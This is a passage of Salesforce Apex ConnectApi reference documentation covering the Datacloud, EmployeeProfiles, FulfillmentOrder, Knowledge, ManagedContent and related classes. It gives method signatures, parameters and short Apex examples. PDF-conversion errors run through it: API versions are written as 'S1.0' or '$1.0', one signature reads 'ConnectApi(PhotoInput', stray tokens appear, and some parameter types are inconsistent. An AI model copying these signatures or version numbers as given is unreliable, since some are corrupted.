public static Void setTestUpdateRepositoryFile(String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput fileData, ConnectApi.RepositoryFileDetail result)
```

Parameters

**repositoryId**
Type: String
The ID of the repository.

**repositoryFileId**
Type: String
The ID of the repository file.

**file**
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.

**fileData**
Type: ConnectApi.BinaryInput
The binary file.

**result**
Type: ConnectApi.RepositoryFileDetail
The object containing test data.
Return Value
Type: Void

SEE ALSO:
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file)
Testing ConnectApi Code

setTestUpdateRepositoryFile(communityId, repositoryId, repositoryFileId, file, result)

Register a ConnectApi.RepositoryFileDetail object to be returned when the matching
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file) method is called in a
test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestUpdateRepositoryFile(String communityId, String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.RepositoryFileDetail result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFileId
Type: String
The ID of the repository file.

file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.

result
Type: ConnectApi.RepositoryFileDetail
The object containing test data.
Return Value
Type: Void

SEE ALSO:
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData)
Testing ConnectApi Code

Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.

Namespace
ConnectApi

Note: When your Data.com Prospector or Data.com Clean contract expires, Data.com features, objects, and fields will be removed from your org.
To support customers’ needs around compliance and to remain a leader in trust and privacy, Salesforce removed all contact data from the Data.com service on February 1, 2021.
For more information, see Data.com Prospector and Clean Retirement.

IN THIS SECTION:
Datacloud Methods

Datacloud Methods
The following are methods for Datacloud. All methods are static.

IN THIS SECTION:
getCompaniesFromOrder(orderId, pageSize, page)
Get a list of purchased company records for an order.
getCompany(companyId)
Get a company record.
getContact(contactId)
Get a contact.
getContactsFromOrder(orderId, page, pageSize)
Get a list of purchased contacts for an order.
getOrder(orderId)
Get an order.
getUsage(userId)
Get purchase usage information for a user.
postOrder(orderInput)
Purchase records that are listed in an input file.
getCompaniesFromOrder(orderId, pageSize, page)
Get a list of purchased company records for an order.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudCompanies getCompaniesFromOrder(String orderId, String pageSize, String page)

Parameters
orderId
Type: String
ID of an order.

page
Type: Integer
Number of the page that you want returned.

pageSize
Type: Integer
Number of companies to show on a page. The default pageSize is 25.

Return Value
Type: ConnectApi.DatacloudCompanies

getCompany(companyId)
Get a company record.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudCompany getCompany(String companyId)
Parameters

`companyId`
Type: String
ID of a company in the Data.com database.

Return Value
Type: ConnectApi.DatacloudCompany

`getContact(contactId)`
Get a contact.

API Version
32.0

Requires Chatter
No

Signature
`public static ConnectApi.DatacloudContact getContact(String contactId)`

Parameters

`contactId`
Type: String
ID of a contact in the Data.com database.

Return Value
Type: ConnectApi.DatacloudContact

`getContactsFromOrder(orderId, page, pageSize)`
Get a list of purchased contacts for an order.

API Version
32.0

Requires Chatter
No
public static ConnectApi.DatacloudContacts getContactsFromOrder(String orderId, String page, String pageSize)

Parameters

orderId
Type: String
ID of an order.

page
Type: Integer
Number of the page that you want returned.

pageSize
Type: Integer
Number of contacts to show on a page. The default pageSize is 25.

Return Value
Type: ConnectApi.DatacloudContacts

getOrder(orderId)
Get an order.

API Version
32.0

Requires Chatter
No

Signature

public static ConnectApi.DatacloudOrder getOrder(String orderId)

Parameters

orderId
Type: String
ID of an order.

Return Value
Type: ConnectApi.DatacloudOrder
**getUsage(userId)**
Get purchase usage information for a user.

API Version
32.0

Requires Chatter
No

Signature
`public static ConnectApi.DatacloudPurchaseUsage getUsage(String userId)`

Parameters

userId
Type: `String`
ID of a user.

Return Value
Type: `ConnectApi.DatacloudPurchaseUsage`

**postOrder(orderInput)**
Purchase records that are listed in an input file.

API Version
32.0

Requires Chatter
No

Signature
`public static ConnectApi.DatacloudOrder postOrder(ConnectApi.DatacloudOrderInput orderInput)`

Parameters

orderInput
Type: `ConnectApi.DatacloudOrderInput`
A list that contains IDs for the contacts or companies that you want to see.
Return Value
Type: ConnectApi.DatacloudOrder

Example

```
ConnectApi.DatacloudOrderInput inputOrder=new ConnectApi.DatacloudOrderInput();
List<String> ids=new List<String>();
ids.add('1234');
inputOrder.companyIds=ids;
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.postOrder(inputOrder);
```

EmailMergeFieldService Class

Extract a list of merge fields for an object. A merge field is a field you can put in an email template, mail merge template, custom link, or formula to incorporate values from a record.

Namespace

ConnectApi

EmailMergeFieldService Methods

The following are methods for EmailMergeFieldService. All methods are static.

IN THIS SECTION:

getMergeFields(objectApiNames)

Extract the merge fields for a specific object.

getMergeFields(objectApiNames)

Extract the merge fields for a specific object.

API Version

39.0

Requires Chatter

No

Signature

```
public static ConnectApi.EmailMergeFieldInfo getMergeFields(List<String> objectApiNames)
```

Parameters

objectApiNames

Type: List<String>

The API names for the objects being referenced.
Return Value

Type: `ConnectApi.EmailMergeFieldInfo`

EmployeeProfiles Class

Get, set and crop, and delete employee banner photos and photos.

Namespace

`ConnectApi`

EmployeeProfiles Methods

These methods are for `EmployeeProfiles`. All methods are static.

**IN THIS SECTION:**

- `deleteBannerPhoto(employeeId)`
  - Delete an employee’s banner photo.
- `deletePhoto(employeeId)`
  - Delete an employee’s photo.
- `getBannerPhoto(employeeId)`
  - Get an employee’s banner photo.
- `getPhoto(employeeId)`
  - Get an employee’s photo.
- `setBannerPhoto(employeeId, fileId, versionNumber)`
  - Set an uploaded file as an employee’s banner photo.
- `setBannerPhoto(employeeId, fileUpload)`
  - Set a file that hasn’t been uploaded as an employee’s banner photo.
- `setBannerPhotoWithAttributes(employeeId, bannerPhoto)`
  - Set and crop an uploaded file as an employee’s banner photo.
- `setBannerPhotoWithAttributes(employeeId, bannerPhoto, fileUpload)`
  - Set and crop a file that hasn’t been uploaded as an employee’s banner photo.
- `setPhoto(employeeId, fileId, versionNumber)`
  - Set an uploaded file as an employee’s photo.
- `setPhoto(employeeId, fileUpload)`
  - Set a file that hasn’t been uploaded as an employee’s photo.
- `setPhotoWithAttributes(employeeId, photo)`
  - Set and crop an uploaded file as an employee’s photo.
- `setPhotoWithAttributes(employeeId, photo, fileUpload)`
  - Set and crop a file that hasn’t been uploaded as an employee’s photo.
**deleteBannerPhoto(employeeId)**
Delete an employee’s banner photo.

**API Version**
51.0

**Requires Chatter**
No

**Signature**
```
public static Void deleteBannerPhoto(String employeeId)
```

**Parameters**
- `employeeId`
  - Type: `String`
  - ID of the employee.

**Return Value**
Type: Void

**deletePhoto(employeeId)**
Delete an employee’s photo.

**API Version**
51.0

**Requires Chatter**
No

**Signature**
```
public static Void deletePhoto(String employeeId)
```

**Parameters**
- `employeeId`
  - Type: `String`
  - ID of the employee.

**Return Value**
Type: Void
**getBannerPhoto(employeeId)**
Get an employee’s banner photo.

API Version
51.0

Requires Chatter
No

Signature
```
public static ConnectApi.BannerPhoto getBannerPhoto(String employeeId)
```

Parameters
```
employeeId
    Type: String
    ID of the employee.
```

Return Value
Type: `ConnectApi.BannerPhoto`

**getPhoto(employeeId)**
Get an employee’s photo.

API Version
51.0

Available to Guest Users
51.0

Requires Chatter
No

Signature
```
public static ConnectApi.Photo getPhoto(String employeeId)
```

Parameters
```
employeeId
    Type: String
    ID of the employee.
```
Return Value
Type: `ConnectApi.Photo`

`setBannerPhoto(employeeId, fileId, versionNumber)`
Set an uploaded file as an employee’s banner photo.

API Version
S1.0

Requires Chatter
No

Signature
`public static ConnectApi.BannerPhoto setBannerPhoto(String employeeId, String fileId, Integer versionNumber)`

Parameters
`employeeId`
Type: `String`
ID of the employee.

`fileId`
Type: `String`
ID of the uploaded file to use as the employee banner photo. The file must be an image and be smaller than 2 GB.

`versionNumber`
Type: `Integer`
Version number of the file. Specify an existing version number or, to get the latest version, specify `null`.

Return Value
Type: `ConnectApi.BannerPhoto`

`setBannerPhoto(employeeId, fileUpload)`
Set a file that hasn’t been uploaded as an employee’s banner photo.

API Version
S1.0

Requires Chatter
No
Signature

```java
public static ConnectApi.BannerPhoto setBannerPhoto(String employeeId,
ConnectApi.BinaryInput fileUpload)
```

Parameters

- **employeeId**
  - Type: `String`
  - ID of the employee.

- **fileUpload**
  - Type: `ConnectApi.BinaryInput`
  - A file to use as the photo. The content type must be usable as an image.

Return Value

Type: `ConnectApi.BannerPhoto`

Usage

Photos are processed asynchronously and may not be visible right away.

**setBannerPhotoWithAttributes(employeeId, bannerPhoto)**

Set and crop an uploaded file as an employee's banner photo.

API Version

51.0

Requires Chatter

No

Signature

```java
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String employeeId,
ConnectApi.BannerPhotoInput bannerPhoto)
```

Parameters

- **employeeId**
  - Type: `String`
  - ID of the employee.

- **bannerPhoto**
  - Type: `ConnectApi.BannerPhotoInput`
  - A `ConnectApi.BannerPhotoInput` object that specifies the ID and version of the file, and how to crop the file.
Return Value
Type: ConnectApi.BannerPhoto

Usage
Photos are processed asynchronously and may not be visible right away.

**setBannerPhotoWithAttributes(employeeId, bannerPhoto, fileUpload)**
Set and crop a file that hasn’t been uploaded as an employee’s banner photo.

API Version
S1.0

Requires Chatter
No

Signature
```java
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String employeeId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput fileUpload)
```

Parameters

employeeId
Type: String
ID of the employee.

bannerPhoto
Type: ConnectApi.BannerPhotoInput
A ConnectApi.BannerPhotoInput object specifying the cropping parameters.

fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.BannerPhoto

Usage
Photos are processed asynchronously and may not be visible right away.

**setPhoto(employeeId, fileId, versionNumber)**
Set an uploaded file as an employee’s photo.
API Version
$1.0

Requires Chatter
No

Signature

```java
public static ConnectApi.Photo setPhoto(String employeeId, String fileId, Integer versionNumber)
```

Parameters

- **employeeId**
  - Type: String
  - ID of the employee.

- **fileId**
  - Type: String
  - ID of the uploaded file to use as the employee photo. The file must be an image and be smaller than 2 GB.

- **versionNumber**
  - Type: Integer
  - Version number of the file. Specify an existing version number or, to get the latest version, specify null.

Return Value

Type: `ConnectApi.Photo`

Usage

Photos are processed asynchronously and may not be visible right away.

```java
setPhoto(employeeId, fileUpload)
```

Set a file that hasn’t been uploaded as an employee’s photo.
Parameters

`employeeId`
Type: `String`
ID of the employee.

`fileUpload`
Type: `ConnectApi.BinaryInput`
A file to use as the photo. The content type must be usable as an image.

Return Value
Type: `ConnectApi.Photo`

Usage
Photos are processed asynchronously and may not be visible right away.

`setPhotoWithAttributes(employeeId, photo)`
Set and crop an uploaded file as an employee's photo.

API Version
S1.0

Requires Chatter
No

Signature

```java
public static ConnectApi.Photo setPhotoWithAttributes(String employeeId, ConnectApi(PhotoInput photo)
```

Parameters

`employeeId`
Type: `String`
ID of the employee.

`photo`
Type: `ConnectApi(PhotoInput`
A `ConnectApi(PhotoInput` object specifying the file ID, version number, and cropping parameters.

Return Value
Type: `ConnectApi.Photo`
Usage
Photos are processed asynchronously and may not be visible right away.

**setPhotoWithAttributes(employeeId, photo, fileUpload)**
Set and crop a file that hasn’t been uploaded as an employee’s photo.

API Version
S1.0

Requires Chatter
No

Signature
```
public static ConnectApi.Photo setPhotoWithAttributes(String employeeId, ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
```

Parameters
- `employeeId`
  Type: `String`
  ID of the employee.
- `photo`
  Type: `ConnectApi.PhotoInput`
  A `ConnectApi.PhotoInput` object specifying the cropping parameters.
- `fileUpload`
  Type: `ConnectApi.BinaryInput`
  A file to use as the photo. The content type must be usable as an image.

Return Value
Type: `ConnectApi.Photo`

Usage
Photos are processed asynchronously and may not be visible right away.

**ExternalEmailServices Class**
Access information about integration with external email services, such as sending email within Salesforce through an external email account.

**Namespace**
ConnectApi
External Email Services Methods
The following are methods for ExternalEmailService. All methods are static.

IN THIS SECTION:
- getUserOauthInfo(landingPage)
  Get information about whether an external email service has been authorized to send email on behalf of a user.

getUserOauthInfo(landingPage)
Get information about whether an external email service has been authorized to send email on behalf of a user.

API Version
37.0

Requires Chatter
No

Signature
public static getUserOauthInfo(String landingPage)

Parameters
landingPage
  Type: String
  The landing page that the user starts on when they are finished with the OAuth authorization process.

Return Value
Type: ConnectApi.UserOauthInfo

SEE ALSO:
  Testing ConnectApi Code

ExternalManagedAccount Class
Get externally managed accounts.

Namespace
ConnectApi

ExternalManagedAccount Methods
These methods are for ExternalManagedAccount. All methods are static.
getCommunitiesExternalManagedAccounts(communityId)
Get externally managed accounts available to the context user across all Experience Cloud sites.

getExternalManagedAccounts(webstoreId)
Get externally managed accounts for a store.

getCommunitiesExternalManagedAccounts(communityId)
Get externally managed accounts available to the context user across all Experience Cloud sites.

API Version
50.0

Requires Chatter
No

Signature
public static ConnectApi.ExternalManagedAccountCollectionOutput getCommunitiesExternalManagedAccounts(String communityId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

Note: Regardless of the ID specified, this method returns externally managed accounts available to the context user across all Experience Cloud sites.

Return Value
Type: ConnectApi.ExternalManagedAccountCollectionOutput

getExternalManagedAccounts(webstoreId)
Get externally managed accounts for a store.

API Version
49.0

Requires Chatter
No
Signature

```java
public static ConnectApi.ExternalManagedAccountCollectionOutput getExternalManagedAccounts(String webstoreId)
```

Parameters

```java
webstoreId
  Type: String
  ID of the webstore.
```

Return Value

Type: `ConnectApi.ExternalManagedAccountCollectionOutput`

**FieldService Class**

Preview and create shifts from a pattern.

**Namespace**

`ConnectApi`

**FieldService Methods**

These methods are for `FieldService`. All methods are static.

**IN THIS SECTION:**

- `createShiftsFromPattern(shiftsFromPatternInput, shiftPatternId)`
  Create up to 2,000 shifts from a pattern.
- `previewShiftsFromPattern(shiftsFromPatternInput, shiftPatternId)`
  Preview up to 2,000 shifts from a pattern.

```java
createShiftsFromPattern(shiftsFromPatternInput, shiftPatternId)
Create up to 2,000 shifts from a pattern.
```

API Version

51.0

Requires Chatter

Yes
Signature

```java
public static ConnectApi.ShiftsFromPattern
createShiftsFromPattern(ConnectApi.ShiftsFromPatternInput shiftsFromPatternInput, String
shiftPatternId)
```

Parameters

- `shiftsFromPatternInput`
  Type: `ConnectApi.ShiftsFromPatternInput`
  A `ConnectApi.ShiftsFromPatternInput` object providing the pattern.
- `shiftPatternId`
  Type: `String`
  ID of the shift pattern.

Return Value

Type: `ConnectApi.ShiftsFromPattern`

```java
previewShiftsFromPattern(shiftsFromPatternInput, shiftPatternId)
```

Preview up to 2,000 shifts from a pattern.

API Version

51.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ShiftsFromPattern
previewShiftsFromPattern(ConnectApi.ShiftsFromPatternInput shiftsFromPatternInput, String
shiftPatternId)
```

Parameters

- `shiftsFromPatternInput`
  Type: `ConnectApi.ShiftsFromPatternInput`
  A `ConnectApi.ShiftsFromPatternInput` object providing the pattern.
- `shiftPatternId`
  Type: `String`
  ID of the shift pattern.

Return Value

Type: `ConnectApi.ShiftsFromPattern`
FulfillmentOrder Class
Fulfill orders in Order Management.

Namespace
ConnectApi

FulfillmentOrder Methods
The following are methods for FulfillmentOrder. All methods are static.

IN THIS SECTION:
- cancelFulfillmentOrderLineItems(fulfillmentOrderId, cancelFulfillmentOrderLineItemsInput)
  Cancel FulfillmentOrderLineItems from a FulfillmentOrder. This action doesn’t cancel the associated OrderItemSummaries, so reallocate the canceled quantities to a new FulfillmentOrder.
- createFulfillmentOrders(fulfillmentOrderInput)
  Create one or more FulfillmentOrders and FulfillmentOrderLineItems for an OrderDeliveryGroupSummary, which defines a delivery method and recipient for an OrderSummary. You specify the OrderItemSummaries to allocate, which can be fulfilled from different locations. Specifying multiple fulfillment groups creates one FulfillmentOrder for each location. For each OrderItemSummary, a FulfillmentOrderLineItem is created and assigned to the corresponding FulfillmentOrder.
- createInvoice(fulfillmentOrderId, invoiceInput)
  Create an invoice for a FulfillmentOrder that doesn’t have one.
- createMultipleFulfillmentOrder(multipleFulfillmentOrderInput)
  Create FulfillmentOrders for multiple OrderDeliveryGroups in a single request.

cancelFulfillmentOrderLineItems(fulfillmentOrderId, cancelFulfillmentOrderLineItemsInput)
Cancel FulfillmentOrderLineItems from a FulfillmentOrder. This action doesn’t cancel the associated OrderItemSummaries, so reallocate the canceled quantities to a new FulfillmentOrder.

API Version
48.0

Requires Chatter
No

Signature

```java
public static ConnectApi.FulfillmentOrderCancelLineItemsOutputRepresentation cancelFulfillmentOrderLineItems(String fulfillmentOrderId,
ConnectApi.FulfillmentOrderLineItemsToCancelInputRepresentation cancelFulfillmentOrderLineItemsInput)
```
Parameters

**fulfillmentOrderId**
Type: String
ID of the FulfillmentOrder.

**cancelFulfillmentOrderLineItemsInput**
Type: `ConnectApi.FulfillmentOrderLineItemsToCancelInputRepresentation`
List of FulfillmentOrderLineItems to cancel.

Return Value
Type: `ConnectApi.FulfillmentOrderCancelLineItemsOutputRepresentation`

Example

```java
String fulfillmentOrderId = '0a3xx0000000085AAA';
List<ConnectApi.FulfillmentOrderLineItemInputRepresentation> itemToCancelList = new List<ConnectApi.FulfillmentOrderLineItemInputRepresentation>();

for(FulfillmentOrderLineItem fulfillmentOrderLineItem : fulfillmentOrder.FulfillmentOrderLineItems){
    ConnectApi.FulfillmentOrderLineItemInputRepresentation itemToCancel = new ConnectApi.FulfillmentOrderLineItemInputRepresentation();
    itemToCancel.fulfillmentOrderLineItemId = fulfillmentOrderLineItem.Id;
    itemToCancel.quantity = 1;
    itemToCancelList.add(itemToCancel);
}

ConnectAPI.FulfillmentOrderLineItemsToCancelInputRepresentation input = new ConnectAPI.FulfillmentOrderLineItemsToCancelInputRepresentation();
input.fulfillmentOrderLineItemsToCancel = itemToCancelList;

ConnectAPI.FulfillmentOrderCancelLineItemsOutputRepresentation result = ConnectAPI.FulfillmentOrder.cancelFulfillmentOrderLineItems(fulfillmentOrderId, input);
```

def `createFulfillmentOrders(fulfillmentOrderInput)`
Create one or more FulfillmentOrders and FulfillmentOrderLineItems for an OrderDeliveryGroupSummary, which defines a delivery method and recipient for an OrderSummary. You specify the OrderItemSummaries to allocate, which can be fulfilled from different locations. Specifying multiple fulfillment groups creates one FulfillmentOrder for each location. For each OrderItemSummary, a FulfillmentOrderLineItem is created and assigned to the corresponding FulfillmentOrder.

API Version
48.0

Requires Chatter
No
public static ConnectApi.FulfillmentOrderOutputRepresentation createFulfillmentOrders(ConnectApi.FulfillmentOrderInputRepresentation fulfillmentOrderInput)

Parameters

fulfillmentOrderInput

Type: ConnectApi.FulfillmentOrderInputRepresentation

OrderItemSummaries to allocate, with location and delivery information.

Return Value

Type: ConnectApi.FulfillmentOrderOutputRepresentation

Example

String orderSummaryId = '1Osxx0000004CCG';
String fulfillmentType = 'warehouse';

String warehouseFromLocationId = [SELECT Id from Location WHERE LocationType='Warehouse' LIMIT 1].Id;

ConnectApi.FulfillmentOrderInputRepresentation fulfillmentOrderInput = new ConnectApi.FulfillmentOrderInputRepresentation();
fulfillmentOrderInput.orderSummaryId = orderSummaryId;
List<OrderDeliveryGroupSummary> orderDeliveryGroupSummaryList = [SELECT Id FROM OrderDeliveryGroupSummary WHERE OrderSummaryId =: orderSummaryId];

for (OrderDeliveryGroupSummary orderDeliveryGroupSummary: orderDeliveryGroupSummaryList){
    fulfillmentOrderInput.orderDeliveryGroupSummaryId = orderDeliveryGroupSummary.Id;
    List<ConnectApi.FulfillmentGroupInputRepresentation> fulfillmentGroups = new List<ConnectApi.FulfillmentGroupInputRepresentation>();
    ConnectApi.FulfillmentGroupInputRepresentation fulfillmentGroup = new ConnectApi.FulfillmentGroupInputRepresentation();
    fulfillmentGroup.fulfilledFromLocationId = warehouseFromLocationId;
    fulfillmentGroup.fulfillmentType = fulfillmentType;
    fulfillmentGroups.add(fulfillmentGroup);
    fulfillmentOrderInput.fulfillmentGroups = fulfillmentGroups;

    List<ConnectApi.OrderItemSummaryInputRepresentation> orderItemSummaries = new List<ConnectApi.OrderItemSummaryInputRepresentation>();
    List<OrderItemSummary> orderItemSummaryList = [Select Id, quantity FROM OrderItemSummary WHERE OrderSummaryId =: orderSummaryId AND OrderDeliveryGroupSummaryId =: orderDeliveryGroupSummary.Id];

    for (OrderItemSummary orderItemSummary : orderItemSummaryList){
        ConnectApi.OrderItemSummaryInputRepresentation oisInputRepresentation = new ConnectApi.OrderItemSummaryInputRepresentation();
        oisInputRepresentation.orderItemSummaryId = orderItemSummary.Id;
        oisInputRepresentation.quantity = orderItemSummary.quantity;

        orderItemSummaries.add(oisInputRepresentation);
    }
    fulfillmentOrderInput.orderItemSummaries = orderItemSummaries;
}
createInvoice(fulfillmentOrderId, invoiceInput)

Create an invoice for a FulfillmentOrder that doesn’t have one.

API Version
48.0

Requires Chatter
No

Signature
public static ConnectApi.FulfillmentOrderInvoiceOutputRepresentation createInvoice(String fulfillmentOrderId, ConnectApi.FulfillmentOrderInvoiceInputRepresentation invoiceInput)

Parameters
fulfillmentOrderId
Type: String
ID of the FulfillmentOrder.

invoiceInput
Type: ConnectApi.FulfillmentOrderInvoiceInputRepresentation
Required input with no data.

Return Value
Type: ConnectApi.FulfillmentOrderInvoiceOutputRepresentation

Example
String fulfillmentOrderId = '0a3xx0000000085AAA';

ConnectApi.FulfillmentOrderInvoiceInputRepresentation input = new ConnectApi.FulfillmentOrderInvoiceInputRepresentation();
ConnectAPI.FulfillmentOrderInvoiceOutputRepresentation result = ConnectApi.FulfillmentOrder.createInvoice(fulfillmentOrderId, input);
**createMultipleFulfillmentOrder(multipleFulfillmentOrderInput)**

Create FulfillmentOrders for multiple OrderDeliveryGroups in a single request.

API Version

50.0

Requires Chatter

No

Signature

```java
public static ConnectApi.MultipleFulfillmentOrderOutputRepresentation createMultipleFulfillmentOrder(ConnectApi.MultipleFulfillmentOrderInputRepresentation multipleFulfillmentOrderInput)
```

Parameters

*multipleFulfillmentOrderInput*

Type: `ConnectApi.MultipleFulfillmentOrderInputRepresentation` on page 2061

Wraps a list of inputs for creating fulfillment orders.

Return Value

Type: `ConnectApi.MultipleFulfillmentOrderOutputRepresentation` on page 2242

**Knowledge Class**

Access information about trending articles in Experience Cloud sites.

**Namespace**

`ConnectApi`

**Knowledge Methods**

The following are methods for Knowledge. All methods are static.

IN THIS SECTION:

- `getTopViewedArticlesForTopic(communityId, topicId, maxResults)`
  Get the top viewed articles for a topic.

- `getTrendingArticles(communityId, maxResults)`
  Get trending articles for an Experience Cloud site.

- `getTrendingArticlesForTopic(communityId, topicId, maxResults)`
  Get the trending articles for a topic in an Experience Cloud site.
getTopViewedArticlesForTopic(communityId, topicId, maxResults)
Get the top viewed articles for a topic.

API Version
41.0

Available to Guest Users
41.0

Requires Chatter
No

Signature
public static ConnectApi.KnowledgeArticleVersionCollection
getTopViewedArticlesForTopic(String communityId, String topicId, Integer maxResults)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

topicId
Type: String
ID of the topic.

maxResults
Type: Integer
The maximum number of articles returned for each topic ID. Values can be from 1 to 25. The default value is 5.

Return Value
Type: ConnectApi.KnowledgeArticleVersionCollection

getTrendingArticles(communityId, maxResults)
Get trending articles for an Experience Cloud site.

API Version
36.0

Available to Guest Users
36.0
Requires Chatter
No

Signature
public static ConnectApi.KnowledgeArticleVersionCollection getTrendingArticles(String
communityId, Integer maxResults)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

maxResults
Type: Integer
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.

Return Value
Type: ConnectApi.KnowledgeArticleVersionCollection

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetTrendingArticles(communityId, maxResults, result)
Testing ConnectApi Code

getTrendingArticlesForTopic(communityId, topicId, maxResults)
Get the trending articles for a topic in an Experience Cloud site.

API Version
36.0

Available to Guest Users
36.0

Requires Chatter
No
Signature

public static ConnectApi.KnowledgeArticleVersionCollection
getTrendingArticlesForTopic(String communityId, String topicId, Integer maxResults)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

topicId
Type: String
ID of the topic.

maxResults
Type: Integer
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.

Return Value
Type: ConnectApi.KnowledgeArticleVersionCollection

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetTrendingArticlesForTopic(communityId, topicId, maxResults, result)
Testing ConnectApi Code

Knowledge Test Methods
The following are the test methods for Knowledge. All methods are static.

For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestGetTrendingArticles(communityId, maxResults, result)
Register a ConnectApi.KnowledgeVersionArticleCollection object to be returned when the matching ConnectApi.getTrendingArticles method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
36.0
Signature

```java
public static Void setTestGetTrendingArticles(String communityId, Integer maxResults,
ConnectApi.KnowledgeArticleVersionCollection result)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **maxResults**
  - Type: Integer
  - The maximum number of articles returned. Values can be from 0 to 25. Default is 5.

- **result**
  - Type: ConnectApi.KnowledgeArticleVersionCollection
  - The object containing test data.

Return Value

Type: Void

SEE ALSO:

- `getTrendingArticles(communityId, maxResults)`
- Testing ConnectApi Code

**setTestGetTrendingArticlesForTopic(communityId, topicId, maxResults, result)**

Register a `ConnectApi.KnowledgeVersionArticleCollection` object to be returned when the matching `ConnectApi.getTrendingArticlesForTopic` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version

36.0

Signature

```java
public static Void setTestGetTrendingArticlesForTopic(String communityId, String topicId,
Integer maxResults, ConnectApi.KnowledgeArticleVersionCollection result)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **topicId**
  - Type: String
ID of the topic.

**maxResults**
Type: Integer
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.

**result**
Type: `ConnectApi.KnowledgeArticleVersionCollection`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getTrendingArticlesForTopic(communityId, topicId, maxResults)`
- Testing ConnectApi Code

### ManagedContent Class
Get managed content versions.

### Namespace
`ConnectApi`

### ManagedContent Methods
The following are methods for `ManagedContent`. All methods are static.

IN THIS SECTION:
- `getAllContent(channelId, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate)`
  Get all managed content versions for a channel.
- `getAllContent(channelId, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate, showAbsoluteUrl)`
  Get all managed content versions for a channel with absolute URLs.
- `getAllDeliveryChannels(pageParam, pageSize)`
  Get managed content delivery channels for the context user.
- `getAllManagedContent(communityId, pageParam, pageSize, language, managedContentType)`
  Get all managed content versions for an Experience Cloud site.
- `getAllManagedContent(communityId, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)`
  Get all managed content versions for an Experience Cloud site with absolute URLs.
- `getContentByContentKeys(channelId, contentKeys, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate, showAbsoluteUrl)`
  Get managed content versions for a channel using a list of content keys.
getContentByIds(channelId, managedContentIds, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate)
Get managed content versions for a channel using a list of managed content IDs.

getContentByIds(channelId, managedContentIds, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate, showAbsoluteUrl)
Get managed content versions for a channel with absolute URLs using a list of managed content IDs.

getManagedContentByContentKeys(communityId, contentKeys, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)
Get managed content versions for an Experience Cloud site using a list of content keys.

getManagedContentByIds(communityId, managedContentIds, pageParam, pageSize, language, managedContentType)
Get managed content versions for an Experience Cloud site using a list of managed content IDs.

getManagedContentByIds(communityId, managedContentIds, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)
Get managed content versions for an Experience Cloud site with absolute URLs using a list of managed content IDs.

getManagedContentByTopics(communityId, topics, pageParam, pageSize, language, managedContentType)
Get managed content versions using a list of content topic names.

getManagedContentByTopics(communityId, topics, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)
Get managed content versions with absolute URLs using a list of content topic names.

getManagedContentByTopicsAndContentKeys(communityId, contentKeys, topics, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)
Get managed content versions using a list of content keys and content topic names.

getManagedContentByTopicsAndIds(communityId, managedContentIds, topics, pageParam, pageSize, language, managedContentType)
Get managed content versions using a list of managed content IDs and content topic names.

getManagedContentByTopicsAndIds(communityId, managedContentIds, topics, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)
Get managed content versions with absolute URLs using a list of managed content IDs and content topic names.

getAllContent(channelId, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate)
Get all managed content versions for a channel.

API Version
48.0

Available to Guest Users
48.0

Requires Chatter
No
Signature

```java
public static ConnectApi.ManagedContentVersionCollection getAllContent(String channelId, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean includeMetadata, String startDate, String endDate)
```

Parameters

**channelId**
- Type: String
- ID of the channel.

**pageParam**
- Type: Integer
- Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

**pageSize**
- Type: Integer
- Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

**language**
- Type: String
